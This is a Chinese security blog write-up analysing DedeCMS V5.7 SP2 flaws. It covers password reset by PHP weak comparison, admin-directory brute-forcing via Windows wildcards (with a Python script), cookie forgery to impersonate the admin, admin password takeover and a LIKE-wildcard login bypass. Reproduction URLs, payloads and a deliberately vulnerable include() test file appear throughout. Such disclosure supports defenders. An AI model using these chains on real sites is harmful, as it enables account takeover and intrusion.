DedeCMS V5.7部分漏洞分析与复现

  • A+

前言

织梦内容管理系统(DedeCMS)基于PHP+MySQL开发,功能专注于个人网站或中小型门户的构建

本篇文章主要记录分析DedeCMS v5.7 SP2出现的一些漏洞。

环境配置

环境:Windows7+PHP5.2+DedeCMS V5.7 SP2,源码下载地址:

http://www.dedecms.com/products/dedecms/downloads/

URL访问uploads/目录开始安装,填写配置信息点下一步即可

前台用户密码重置漏洞

分析

首先来到重置密码页面:

5f815cfc59e5b.png

对应的源码在uploads/member/resetpassword.php,它会包含resetpassword.htm模板:

php
if($dopost == "")
{
include(dirname(__FILE__)."/templets/resetpassword.htm");
}

上图中可以看到页面有个隐藏的参数dopost=getpwd,对应的源码在第20行处,它会依次验证验证码,邮箱和用户名的格式:

5f815d5c61a08.png

找到uploads/member/templets页面,可以看到有三个resetpassword.htm文件,分别代表找回密码的第一、二、三步;上图便是找回密码的第一步

5f815fdb1ce76.png

找回密码第三步模板页面存在的隐藏参数是dopost=safequestion,其对应的源码在resetpassword.php的第75行,这里便是任意用户密码重置漏洞的入口点:

``` php
else if($dopost == "safequestion")
{
$mid = preg_replace("#[^0-9]#", "", $id);
$sql = "SELECT safequestion,safeanswer,userid,email FROM #@__member WHERE mid = '$mid'";
$row = $db->GetOne($sql);
if(empty($safequestion)) $safequestion = '';

if(empty($safeanswer)) $safeanswer = '';

if($row['safequestion'] == $safequestion && $row['safeanswer'] == $safeanswer)
{
    sn($mid, $row['userid'], $row['email'], 'N');
    exit();
}
else
{
    ShowMsg("对不起,您的安全问题或答案回答错误","-1");
    exit();
}

}
```

这里判断了$safeanswer$safequestion的值是否和数据库中查询到的值相同,可以通过GET或者POST方式传递这些参数;当用户没有设置安全问题和答案时,从数据库中查询到的值为'0',可以修改resetpassword.php,将查询的值打印出来:

5f817bf5bbb35.png

5f817ce4ddf7e.png

但这里比较用的是弱比较,可以利用PHP弱类型,提交safequestion0.00e10.,使之成立。(提交0的话empty(0)返回true,会使$safequestion之置空,判断失败)

之后进入到sn函数:

php
sn($mid, $row['userid'], $row['email'], 'N');

跟进该函数,位于uploads/member/inc/inc_pwd_functions.php第150行:

php
function sn($mid,$userid,$mailto, $send = 'Y')
{
global $db;
$tptim= (60*10);
$dtime = time();
$sql = "SELECT * FROM #@__pwd_tmp WHERE mid = '$mid'";
$row = $db->GetOne($sql);
if(!is_array($row))
{
//发送新邮件;
newmail($mid,$userid,$mailto,'INSERT',$send);
}
//10分钟后可以再次发送新验证码;
elseif($dtime - $tptim > $row['mailtime'])
{
newmail($mid,$userid,$mailto,'UPDATE',$send);
}
//重新发送新的验证码确认邮件;
else
{
return ShowMsg('对不起,请10分钟后再重新申请', 'login.php');
}
}

根据传入的值,它最后会调用:

php
newmail($mid,$userid,$mailto,'INSERT','N');

跟进该函数,位于uploads/member/inc/inc_pwd_functions.php第73行:

php
function newmail($mid, $userid, $mailto, $type, $send)
{
global $db,$cfg_adminemail,$cfg_webname,$cfg_basehost,$cfg_memberurl;
$mailtime = time();
$randval = random(8);
$mailtitle = $cfg_webname.":密码修改";
$mailto = $mailto;
$headers = "From: ".$cfg_adminemail."\r\nReply-To: $cfg_adminemail";
$mailbody = "亲爱的".$userid.":\r\n您好!感谢您使用".$cfg_webname."网。\r\n".$cfg_webname."应您的要求,重新设置密码:(注:如果您没有提出申请,请检查您的信息是否泄漏。)\r\n本次临时登陆密码为:".$randval." 请于三天内登陆下面网址确认修改。\r\n".$cfg_basehost.$cfg_memberurl."/resetpassword.php?dopost=getpasswd&id=".$mid;
if($type == 'INSERT')
{
$key = md5($randval);
$sql = "INSERT INTO `#@__pwd_tmp` (`mid` ,`membername` ,`pwd` ,`mailtime`)VALUES ('$mid', '$userid', '$key', '$mailtime');";
if($db->ExecuteNoneQuery($sql))
{
if($send == 'Y')
{
sendmail($mailto,$mailtitle,$mailbody,$headers);
return ShowMsg('EMAIL修改验证码已经发送到原来的邮箱请查收', 'login.php','','5000');
} else if ($send == 'N')
{
return ShowMsg('稍后跳转到修改页', $cfg_basehost.$cfg_memberurl."/resetpassword.php?dopost=getpasswd&id=".$mid."&key=".$randval);
}
}
else
{
return ShowMsg('对不起修改失败,请联系管理员', 'login.php');
}
}
......

它会进入到INSERT分支,生成md5($randval)将其插入到pwd_tmp表的pwd字段,并随后进到$send == 'N'分支将该随机值$randval输出到网页

在来看下最终的重置用户密码的操作,位于resetpassword.php的第97行:

5f81857b63557.png

在112行判断了$setp是否为空,为空则判断临时密码修改期限是否过期,没有过期则包含resetpassword2.htm模板,这个模板有个隐藏的setp=2参数,会进入到elseif分支,它会将收到的key参数md5加密,然后与pwd_tmp表中的pwd字段值进行对比,相同则更新member表的用户密码

5f81865064b94.png

复现

1.访问uploads/member/resetpassword.php?dopost=safequestion&safequestion=0e1&safeanswer=&id=1,每个id对应不同的用户:

5f81898c43f5a.png

2.访问返回的链接,便可进行重置密码:

5f818b115863d.png

p:重置admin密码后,不能前台登录(被限制),且后台也不能登录(因为这里重置的是member表的密码,而不是admin表的密码),可以重置其他用户密码来测试

修复也很简单,将uploads/member/resetpassword.php第85行判断改为强比较:

php
if($row['safequestion'] === $safequestion && $row['safeanswer'] === $safeanswer)

后台目录爆破漏洞

预备知识

Windows在搜索文件时用到了FindFirstFile这个winapi函数,该函数到一个文件夹去搜索指定文件,如果不知道文件名/所在目录,可以用<>符代替不可知部分

首先在网站根目录创建一个test文件夹,然后创建两个文件和一个文件夹:

5f81b07564589.png

然后在youdontknow目录下创建一个a.png图片

index.php写入:

php
<?php include($_GET['file'])?>

phpinfo.php写入:

php
<?php phpinfo();?>

5f81b2276741d.png

<<可以匹配多个字符,但>不能匹配到.,可以用?file=p>>>>>>.>>>匹配;当文件名/目录中不含.,例如phpinfophp,可以用以下参数匹配到:

?file=p<
?file=p>>>>>>>

那么对于目录,可以指定一个首字符,剩余部分用<代替;

当目录不存在时会报出Invalid argument的Warning:

5f81b48b317b1.png

存在则报出Permission denied的Warning:

5f81b4e2726a3.png

现将index.php代码更改为:

php
<?php
$image_dd = @getimagesize($_GET['file']);
if (!is_array($image_dd))
{
exit('Upload filetype not allow !');
}
?>

因为存在youdontknow/a.png,路径不存在会显示Upload filetype not allow !

5f81bb4ed2ac0.png

反之什么都不会显示:

5f81bdec4a8c0.png

那么可判断出目录名第一位字符是y,此时便可用类似盲注的方式跑出剩余的路径名

分析

入口点:uploads/include/common.inc.php,第145行:

php
//转换上传的文件相关的变量及安全处理、并引用前台通用的上传函数
if($_FILES)
{
require_once(DEDEINC.'/uploadsafe.inc.php');
}

P:这里入口点网上很多文章说uploads/plus/rss.phpuploads/tags.php,其实直接从这里开始就行

跟进uploadsafe.inc.php,第16行:

php
foreach($_FILES as $_key=>$_value)
{
foreach($keyarr as $k)
{
if(!isset($_FILES[$_key][$k]))
{
exit('Request Error!');
}
}
if( preg_match('#^(cfg_|GLOBALS)#', $_key) )
{
exit('Request var not allow for uploadsafe!');
}
$$_key = $_FILES[$_key]['tmp_name'];
......
......
if(in_array(strtolower(trim(${$_key.'_type'})), $imtypes))
{
$image_dd = @getimagesize($$_key);
if (!is_array($image_dd))
{
exit('Upload filetype not allow !');
}
}
}

可以看到$$_key是可控的,那么便可以利用最后getimagesize结合通配符爆出后台路径;

注意到这里$$_key = $_FILES[$_key]['tmp_name'];,如果直接上传一个文件,这个tmp_name是类似C:\Windows\php6A62.tmp这种形式的,并不是自己构造的路径;这里就用到了uploads/include/common.inc.php,这个文件定义了许多常量以及注册了很多外部提交的变量(86行),可以用POST提交(这也是为什么把common.inc.php作为入口点):

_FILES[f][tmp_name]=../d</images/error.gif&_FILES[f][name]=0&_FILES[f][size]=0&_FILES[f][type]=image/gif

5f827454efd50.png

可以看到此时显示的是not allow,即没有找到这个目录,这是因为和后台目录dede同级的目录还有一个data,它也是d开头的;如果爆破第一位文件名得到的结果全是not allow,此时可判断第一位文件名是以d开头的;

也可以换种方式,倒着爆破,先去匹配文件名的最后一位字符:

5f8274a9647df.png

P:其实正着或倒着爆破都是一样的,如果存在某个目录名与后台目录开头和结尾的字符都相同,且位置位于后台目录上方,那就要一步步fuzz了...

复现

这里采用倒着爆破的方法,编写EXP脚本:

``` python

coding=utf8

import requests
import string

url = 'http://10.211.55.5:80/zxcvbnm/uploads/include/common.inc.php'
name = ''

dic = string.ascii_lowercase + string.digits + '-_'
flag = 0 # 标志是否爆破到最后一位
while 1:
for i in dic:
pay = i + name

    headers = {"Connection": "close", "Accept-Encoding": "gzip, deflate", "Accept": "*/*", "User-Agent": "python-requests/2.20.0", "Content-Type": "application/x-www-form-urlencoded"}

    data = {"_FILES[f][tmp_name]": "../<{}/images/error.gif".format(pay), "_FILES[f][name]": "0", "_FILES[f][size]": "0", "_FILES[f][type]": "image/gif"}

    s = requests.post(url, headers=headers, data=data).text
    if 'not' in s:
        flag = 1
        pass
    else:
        flag = 0
        name = i + name 
        print(name)
        break
if flag:
    break

```

运行结果:

5f82751c4070c.png

其他

另外,getimagesize是能发起http请求的,会造成ssrf:

5f8502e5a45a3.png

用户越权漏洞

分析

用户登录后的个人空间对应的代码在uploads/member/index.php第122行:

``` php
else
{
require_once(DEDEMEMBER.'/inc/config_space.php');
if($action == '')
{
include_once(DEDEINC."/channelunit.func.php");
$dpl = new DedeTemplate();
$tplfile = DEDEMEMBER."/space/{$_vars['spacestyle']}/index.htm";

    //更新最近访客记录及站点统计记录
    $vtime = time();
    $last_vtime = GetCookie('last_vtime');
    $last_vid = GetCookie('last_vid');
    if(empty($last_vtime))
    {
        $last_vtime = 0;
    }
    if($vtime - $last_vtime > 3600 || !preg_match('#,'.$uid.',#i', ','.$last_vid.',') )
    {
        if($last_vid!='')
        {
            $last_vids = explode(',',$last_vid);
            $i = 0;
            $last_vid = $uid;
            foreach($last_vids as $lsid)
            {
                if($i>10)
                {
                    break;
                }
                else if($lsid != $uid)
                {
                    $i++;
                    $last_vid .= ','.$last_vid;
                }
            }
        }
        else
        {
            $last_vid = $uid;
        }
        PutCookie('last_vtime', $vtime, 3600*24, '/');
        PutCookie('last_vid', $last_vid, 3600*24, '/');

```

可以看到,当$last_vid不存在时,它会被赋值为$last_vid = $uid;,并且通过:

php
PutCookie('last_vid', $last_vid, 3600*24, '/');

将Cookie发送至客户端;在uploads/include/helpers/cookie.helper.php定义了设置和获取Cookie的两个函数:

``` php
function PutCookie($key, $value, $kptime=0, $pa="/")
{
global $cfg_cookie_encode,$cfg_domain_cookie;
setcookie($key, $value, time()+$kptime, $pa,$cfg_domain_cookie);
setcookie($key.'__ckMd5', substr(md5($cfg_cookie_encode.$value),0,16), time()+$kptime, $pa,$cfg_domain_cookie);
}

function GetCookie($key)
{
global $cfg_cookie_encode;
if( !isset($_COOKIE[$key]) || !isset($_COOKIE[$key.'__ckMd5']) )
{
return '';
}
else
{
if($_COOKIE[$key.'__ckMd5']!=substr(md5($cfg_cookie_encode.$_COOKIE[$key]),0,16))
{
return '';
}
else
{
return $_COOKIE[$key];
}
}
}
```

当用PutCookie设置Cookie时会设置两次,一个是普通的键值对,另一个是值的md5加盐截断;当用GetCookie获取Cookie时,会接收并比较设置的普通Cookie值加盐截断后与哈希值是否相同,不相同会返回为空

uploads/member/index.php开头引入config.php文件,跟进到config.php,第101行,判断用户是否登录逻辑:

``` php
$keeptime = isset($keeptime) && is_numeric($keeptime) ? $keeptime : -1;
$cfg_ml = new MemberLogin($keeptime);

//判断用户是否登录
$myurl = '';
if($cfg_ml->IsLogin())
{
$myurl = $cfg_memberurl."/index.php?uid=".urlencode($cfg_ml->M_LoginID);
if(!preg_match("#^http:#i", $myurl)) $myurl = $cfg_basehost.$myurl;
}
```

跟进到定义MemberLogin类的文件uploads/include/memberlogin.class.php,首先来看第160行的构造函数:

``` php
//php5构造函数
function __construct($kptime = -1, $cache=FALSE)
{
global $dsql;
if($kptime==-1){
$this->M_KeepTime = 3600 * 24 * 7;
}else{
$this->M_KeepTime = $kptime;
}
$formcache = FALSE;
$this->M_ID = $this->GetNum(GetCookie("DedeUserID"));
$this->M_LoginTime = GetCookie("DedeLoginTime");
$this->fields = array();
$this->isAdmin = FALSE;
if(empty($this->M_ID))
{
$this->ResetUser();
}else{
$this->M_ID = intval($this->M_ID);

        if ($cache)
        {
            $this->fields = GetCache($this->memberCache, $this->M_ID);
            if( empty($this->fields) )
            {
                $this->fields = $dsql->GetOne("Select * From `#@__member` where mid='{$this->M_ID}' ");
            } else {
                $formcache = TRUE;
            }
        } else {
            $this->fields = $dsql->GetOne("Select * From `#@__member` where mid='{$this->M_ID}' ");
        }

        if(is_array($this->fields)){
          ......

```

往下第292行,该类中定义的IsLogin()方法:

php
function IsLogin()
{
if($this->M_ID > 0) return TRUE;
else return FALSE;
}

可以发现,只要控制GetCookie("DedeUserID"),就能控制$this->M_ID,它首先会进行格式过滤:

```php
$this->M_ID = $this->GetNum(GetCookie("DedeUserID"));

function GetNum($fnum){
$fnum = preg_replace("/[^0-9.]/", '', $fnum); #将非数字部分替换为空
return $fnum;
}

$this->M_ID = intval($this->M_ID);
```

之后会进入到:

php
$this->fields = $dsql->GetOne("Select * From `#@__member` where mid='{$this->M_ID}' ");

那么让$this->M_ID最后等于1,便可成为管理员用户

上面提到了,要想让服务端成功接收到Cookie,需要设置两个Cookie,一个是普通键值对,一个是加盐截断后的哈希,我们可以通过$last_vid = $uid;,将返回的last_vid哈希字段Cookie作为DedeUserID哈希字段Cookie

复现

1.注册用户1abc并登录:

5f842c2be7667.png

2.burp将Cookie置空访问uploads/member/index.php?uid=1abc,获取到last_vid__ckMd5的哈希值1f5f2d2c3e6e91e7

5f842c90f1bba.png

3.返回1abc的个人空间页面,将Cookie中的DedeUserID改为1abc,同时替换DedeUserID__ckMd5哈希值为1f5f2d2c3e6e91e7

5f842daad3649.png

保存刷新页面:

5f842e0d8c513.png

重置后台管理员密码

分析

利用上一步的用户越权漏洞变成admin用户后,来到系统设置->基本资料

5f842f4bbe12d.png

可以看到在这里可以进行修改密码;找到对应的源码uploads/member/edit_baseinfo.php,验证旧密码部分:

php
$row=$dsql->GetOne("SELECT * FROM `#@__member` WHERE mid='".$cfg_ml->M_ID."'");
......
if(!is_array($row) || $row['pwd'] != md5($oldpwd))
{
ShowMsg('你输入的旧密码错误或没填写,不允许修改资料!','-1');
exit();
}

这里是从member表中查询旧密码,进行验证;怎样得到旧密码呢?这里便可用到前台用户密码重置漏洞自己设置密码;

往后第115行:

php
$query1 = "UPDATE `#@__member` SET pwd='$pwd',sex='$sex'{$addupquery} where mid='".$cfg_ml->M_ID."' ";
...
//如果是管理员,修改其后台密码
if($cfg_ml->fields['matt']==10 && $pwd2!="")
{
$query2 = "UPDATE `#@__admin` SET pwd='$pwd2' where id='".$cfg_ml->M_ID."' ";
$dsql->ExecuteNoneQuery($query2);
}

如果是管理员,则在更新member表的同时更新admin

复现

1.重置前台admin密码

5f8452deeeeab.png

5f8452f04697a.png

2.越权至admin用户,之后更新个人资料,旧密码填上一步重置的密码

5f84533b93f01.png

3.访问后台登录页登录

5f845356761ba.png

后台登录用户名绕过

分析

来到定义后台用户登录类的地方uploads/include/userlogin.class.php,第248行:

php
$dsql->SetQuery("SELECT admin.*,atype.purviews FROM `#@__admin` admin LEFT JOIN `#@__admintype` atype ON atype.rank=admin.usertype WHERE admin.userid LIKE '".$this->userName."' LIMIT 0,1");

这里where子句用户名比较用的是LIKE;上面对用户名做了过滤:

php
$this->userName = preg_replace("/[^[email protected]!\.-]/", '', $username);

那么这里可以使用_;在MySQL中,通配符_可以匹配任意一个字符;那么可以让_替换用户名,只需和用户名长度相同即可绕过

复现

用五个下划线代替admin

5f8503f0af6ce.png